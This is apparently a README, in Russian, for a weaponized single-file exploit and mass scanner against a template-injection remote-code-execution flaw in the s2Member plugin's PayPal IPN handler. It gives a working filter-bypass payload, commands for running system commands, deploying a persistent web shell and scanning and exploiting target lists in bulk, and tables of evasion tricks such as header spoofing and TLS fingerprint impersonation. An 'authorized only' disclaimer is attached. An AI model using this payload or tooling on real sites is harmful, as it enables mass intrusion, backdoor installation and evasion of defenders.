
Однофайловый эксплойт и массовый сканер для CVE-2026-86596 — RCE через внедрение шаблонов в s2Member посредством параметра item_name в PayPal IPN, с вариантами обхода и развёртыванием веб-шелла.
CVSS 9.8 | CVE-2026-86596 | Патч: 261001+
Однофайловый эксплойт и сканер для внедрения шаблонов в s2Member через параметр IPN item_name.
$paypal = strip_php_tags_deep($paypal); // Only strips literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg)); // Removes %%x%% -> reassembles <?php
Полезная нагрузка: <%%x%%?php system('id'); ?> → обходит strip_php_tags_deep, после очистки плейсхолдеров собирается в валидный <?php.
# Single target RCE
python3 poc.py target.com --cmd "id" --authorized
# Persistent webshell (access: /shell.php?pass=cmd)
python3 poc.py target.com --cmd "shell:mysecret" --authorized --deploy-shell
# Full bypass matrix (all variants)
python3 poc.py target.com --cmd "id" --authorized --full-bypass
# Mass scan with recon
python3 poc.py targets.txt --scan --threads 30 --recon
# Scan + exploit
python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output results.json
| Флаг | Описание |
|---|---|
--cmd "id" | Команда для выполнения (или shell:pass для веб-шелла) |
--scan | Режим массового сканирования (чтение целей из файла) |
--exploit | Попытка эксплуатации во время сканирования |
--authorized | ОБЯЗАТЕЛЬНО для любого действия по эксплуатации |
--recon | Полная разведка перед эксплуатацией |
--item-number | Конкретный item_number (по умолчанию: автоопределение) |
--proxy-verification | Ключ s2member_paypal_proxy_verification |
--write-test | Записать тестовый файл вместо выполнения команды |
--deploy-shell | Развернуть постоянный веб-шелл |
--shell-path | Имя файла веб-шелла (по умолчанию: shell.php) |
--full-bypass | Попробовать ВСЕ варианты обхода (медленно) |
--no-evasion | Отключить все попытки обхода |
--threads N | Потоки сканирования (по умолчанию: 15) |
--output file | Вывод в JSON/CSV |
--http-proxy | HTTP(S)-прокси |
--impersonate | Отпечаток TLS: chrome/firefox/safari/edge |
--insecure | Отключить проверку TLS |
--verbose | Подробный вывод |
| Уровень | Варианты |
|---|---|
| Полезная нагрузка | 10: raw, urlenc, b64, concat, var-func, assert, preg_replace/e, create_function, shortcode, shortcode+b64 |
| Запись | 4: file_put_contents, fopen/fwrite, shell_exec, b64_decode |
| Шелл | 5: eval, system, assert, b64_eval, shortcode |
| Запрос | 5: form, multipart, dup, multipart-dup, JSON |
| Заголовки | 7: XFF spoof, PayPal referer/origin, IPN headers, cluster |
| TLS | 4: chrome, firefox, safari, edge (curl_cffi) |
item_number (ID защищённого поста/страницы)do_shortcode() / [s2If php=...]/root/labv/
├── poc.py # Single weaponized exploit + scanner (384 lines)
├── README.md # This file
└── targets.txt # Example target list
ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ. Флаг --authorized подтверждает наличие письменного разрешения.